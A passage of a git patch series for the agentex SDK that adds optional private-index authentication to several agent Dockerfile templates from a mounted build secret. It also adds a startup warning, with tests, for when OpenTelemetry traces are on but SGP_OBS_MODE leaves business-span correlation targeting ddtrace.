index f8746c573..207b1c3ca 100644 --- a/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 @@ -42,7 +42,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -50,6 +72,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile.j2 index 225863607..4a5e4d83a 100644 --- a/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile.j2 @@ -41,8 +41,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 index 7e31387fa..cafbf5865 100644 --- a/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 @@ -42,7 +42,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -50,6 +72,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/temporal-codex/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal-codex/Dockerfile.j2 index 0ae4e2079..c823c7937 100644 --- a/src/agentex/lib/cli/templates/temporal-codex/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal-codex/Dockerfile.j2 @@ -41,8 +41,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 index 6746869df..59e11795b 100644 --- a/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 @@ -36,7 +36,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -44,6 +66,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile.j2 index ba47485a9..cf8f4638c 100644 --- a/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile.j2 @@ -35,8 +35,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 index 0d9801016..bf0e1e3d5 100644 --- a/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 @@ -36,7 +36,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -44,6 +66,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile.j2 index 4c1798c42..020a87fe2 100644 --- a/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile.j2 @@ -35,8 +35,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 index 0d9801016..bf0e1e3d5 100644 --- a/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 @@ -36,7 +36,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -44,6 +66,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile.j2 index 4c1798c42..020a87fe2 100644 --- a/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile.j2 @@ -35,8 +35,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project diff --git a/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 index 0d9801016..bf0e1e3d5 100644 --- a/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 @@ -36,7 +36,29 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# To opt in, add this to the agent's pyproject.toml. The index name must be exactly +# `scale-pypi`, because that is what binds the credentials exported below; rename it +# and they silently stop applying. Exporting UV_INDEX_URL instead does not +# authenticate a named index at all, and the resolve 401s. +# +# [[tool.uv.index]] +# name = "scale-pypi" +# url = "" +# default = true +# +# The token is percent-decoded on the way out: the buildspec URL-encodes it into the +# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-install-project --no-dev # Copy the project code @@ -44,6 +66,12 @@ COPY {{ project_path_from_build_root }}/project ./project # Install the project RUN --mount=type=cache,target=/root/.cache/uv \ + --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_INDEX_SCALE_PYPI_USERNAME=aws; \ + export UV_INDEX_SCALE_PYPI_PASSWORD="$(sed -n 's#.*index-url = https://aws:\([^@]*\)@.*#\1#p' /run/secrets/codeartifact-pip-conf \ + | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read().strip()))')"; \ + fi; \ uv sync --no-dev ENV PATH="/app/{{ project_path_from_build_root }}/.venv/bin:$PATH" diff --git a/src/agentex/lib/cli/templates/temporal/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal/Dockerfile.j2 index 4c1798c42..020a87fe2 100644 --- a/src/agentex/lib/cli/templates/temporal/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal/Dockerfile.j2 @@ -35,8 +35,22 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} +# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages +# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the +# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# +# This template installs from requirements.txt, so no pyproject.toml is present for +# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named +# `scale-pypi` index. The credentialed URL is taken straight from the injected pip +# config instead. That is also why nothing is percent-decoded here: the token stays +# inside the URL, already encoded for exactly that use. +# # Install the required Python packages -RUN uv pip install --system -r requirements.txt +RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ + if [ -s /run/secrets/codeartifact-pip-conf ]; then \ + export UV_DEFAULT_INDEX="$(sed -n 's#^[[:space:]]*index-url[[:space:]]*=[[:space:]]*##p' /run/secrets/codeartifact-pip-conf | head -1)"; \ + fi; \ + uv pip install --system -r requirements.txt # Copy the project code COPY {{ project_path_from_build_root }}/project /app/{{ project_path_from_build_root }}/project From 60daf5458683942d4f6f1afd3c4b7ae6136387dc Mon Sep 17 00:00:00 2001 From: Sirui Wang Date: Fri, 11 Sep 2026 15:06:15 -0700 Subject: [PATCH 3/7] feat(obs): warn when OTel traces are on but correlation still targets ddtrace MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Answers Nitesh's question on AGX1-1113 — can we validate the forward and backward edge — and closes the gap it exposed. The SDK has had its own business-span correlation for a while, in core/tracing/obs_span.py, and it already writes BOTH directions: forward obs_trace_id / obs_span_id onto the business span's data, so the SGP tracing UI can pivot to Tempo backward agentex.business_span_id / agentex.business_trace_id onto the OTel span, so Tempo can pivot back Which backend it opens that span in is chosen by SGP_OBS_MODE, which defaults to `dd_only`. There it opens a ddtrace span, and only when a ddtrace trace is already active — which on a bare-uvicorn agent it never is. The wrapper is never opened, the correlation dict comes back empty, and both edges vanish. Nothing says so: the traces signal still reports itself wired. Measured end to end, real SDK business span + real sgp-obs 0.16.0 against a local OTLP receiver: SGP_OBS_MODE unset (today's default) forward : MISSING backward : MISSING exported spans: none SGP_OBS_MODE=lgtm forward : {'obs_trace_id': '1f1c39cfd07bb240a2e290987f22fcb0', 'obs_span_id': 'a67ae4f75b69dc4b'} backward : span 'analyst.model_call', scope 'agentex.business', agentex.business_span_id=bd3babc4-..., business_trace_id=fdfd2ded-... round trip closes: forward.obs_span_id == the exported span's span id, and backward.business_span_id == the business span's own id So the edges do work, and they are verifiable without a cluster. The pilot agent does not set SGP_OBS_MODE, so both of its edges are dead today — which is why nothing showed up to validate. Warn rather than set it. SGP_OBS_MODE also steers correlation reads elsewhere, and an agent genuinely running ddtrace (the Centipede family) would be misread if this flipped underneath it. The operator picks; this only makes the silent case audible. Scoped to `traces in handles` — a metrics-only agent has no linking to lose, so the warning would be noise there. Note for whoever compares against Nitesh's Tempo screenshot: his analyst-agent span carries scope `sgp_obs.business`, not `agentex.business`. That agent calls sgp-obs' own business_trace directly rather than going through the SDK. Both stamp the same attribute names, so they look identical in Tempo but come from different code. Co-Authored-By: Claude Opus 5 --- .../lib/core/observability/sgp_obs_setup.py | 48 +++++++++++++++++++ .../observability/tests/test_sgp_obs_setup.py | 42 ++++++++++++++++ 2 files changed, 90 insertions(+) diff --git a/src/agentex/lib/core/observability/sgp_obs_setup.py b/src/agentex/lib/core/observability/sgp_obs_setup.py index 7cf1da40c..c75167ec6 100644 --- a/src/agentex/lib/core/observability/sgp_obs_setup.py +++ b/src/agentex/lib/core/observability/sgp_obs_setup.py @@ -140,11 +140,59 @@ def init_sgp_obs(app: Any = None) -> str: _status = "disabled" return _status + if "traces" in handles: + _warn_if_correlation_backend_mismatched() + _status = "wired:" + ",".join(sorted(handles)) logger.info("sgp-obs wired (%s)", _status) return _status +def _warn_if_correlation_backend_mismatched() -> None: + """Warn when sgp-obs is exporting OTel traces but the SDK's business-span + correlation is still reading ddtrace. + + The SDK has had its own correlation for a while (core/tracing/obs_span.py). It + writes BOTH directions of the link between a business span and an obs span: + + forward — obs_trace_id / obs_span_id onto the business span's data, so the + SGP tracing UI can pivot to Tempo + backward — agentex.business_span_id / agentex.business_trace_id onto the OTel + span, so Tempo can pivot back + + Which backend it opens that span in is chosen by SGP_OBS_MODE, which defaults to + ``dd_only``. In that mode it opens a ddtrace span, and only if a ddtrace trace is + already active — which on a bare-uvicorn agent it never is. So the wrapper is + never opened, the correlation dict comes back empty, and BOTH edges vanish + silently while the traces signal still reports itself as wired. + + Measured on sgp-obs 0.16.0 with a real business span: mode unset gives zero + exported spans and no ids in either direction; SGP_OBS_MODE=lgtm gives the + span, both tags, and a round trip that closes (the business span's obs_span_id + equals the exported span's span id, and the span's agentex.business_span_id + equals the business span's id). + + Warn rather than set it: SGP_OBS_MODE also steers correlation reads elsewhere, + and an agent genuinely running ddtrace (the Centipede family) would be misread + if this flipped underneath it. The operator picks; this only makes the silent + case audible. + """ + try: + from agentex.lib.core.tracing.obs_ids import LGTM, get_obs_mode + + if get_obs_mode() != LGTM: + logger.warning( + "sgp-obs wired the traces signal (OpenTelemetry), but SGP_OBS_MODE is " + "%r, so this SDK's business-span correlation still targets ddtrace and " + "will not link anything. Set SGP_OBS_MODE=lgtm to get both edges: " + "obs_trace_id/obs_span_id on the business span, and " + "agentex.business_span_id/agentex.business_trace_id on the OTel span.", + get_obs_mode(), + ) + except Exception: # pragma: no cover - a diagnostic must never break startup + logger.debug("could not check SGP_OBS_MODE", exc_info=True) + + async def shutdown_sgp_obs() -> None: """Flush the providers ``init()`` built. Never raises. diff --git a/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py b/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py index 929ba1bf6..61ea30647 100644 --- a/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py +++ b/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py @@ -13,6 +13,7 @@ import sys import builtins +from contextlib import contextmanager import pytest @@ -40,6 +41,17 @@ def _reset(monkeypatch): sgp_obs_setup._reset_for_tests() +@contextmanager +def caplog_at(monkeypatch): + """Collect sgp_obs_setup's WARNING messages regardless of root config.""" + records: list[str] = [] + monkeypatch.setattr( + sgp_obs_setup.logger, "warning", + lambda msg, *a, **_k: records.append(msg % a if a else msg), + ) + yield records + + def _fake_sgp_obs(monkeypatch, init=None, shutdown=None): """Install a stand-in ``sgp_obs`` module whose entry points we control.""" module = type(sys)("sgp_obs") @@ -133,6 +145,36 @@ def test_master_switch_truthy_forms(self, monkeypatch, caplog, raw): init_sgp_obs() assert len(caplog.records) == 1 + def test_traces_without_lgtm_mode_warns_that_correlation_is_dead( + self, monkeypatch + ): + """SGP_OBS_MODE defaults to dd_only, where the SDK's business-span wrapper + only opens if a ddtrace trace is already active — never true on a + bare-uvicorn agent. So both correlation edges vanish while the traces + signal still reports itself wired. Measured: mode unset -> zero exported + spans and no ids either way; lgtm -> both edges, round trip closes.""" + monkeypatch.delenv("SGP_OBS_MODE", raising=False) + _fake_sgp_obs(monkeypatch, lambda **_kwargs: {"traces": object()}) + with caplog_at(monkeypatch) as records: + assert init_sgp_obs() == "wired:traces" + assert any("SGP_OBS_MODE" in r for r in records) + + def test_traces_with_lgtm_mode_is_quiet(self, monkeypatch, caplog): + monkeypatch.setenv("SGP_OBS_MODE", "lgtm") + _fake_sgp_obs(monkeypatch, lambda **_kwargs: {"traces": object()}) + with caplog.at_level("WARNING"): + assert init_sgp_obs() == "wired:traces" + assert caplog.records == [] + + def test_metrics_only_does_not_warn_about_the_mode(self, monkeypatch, caplog): + """The correlation edges are a traces concern. A metrics-only agent has no + business-span linking to lose, so the warning would be noise.""" + monkeypatch.delenv("SGP_OBS_MODE", raising=False) + _fake_sgp_obs(monkeypatch, lambda **_kwargs: {"metrics": object()}) + with caplog.at_level("WARNING"): + assert init_sgp_obs() == "wired:metrics" + assert caplog.records == [] + def 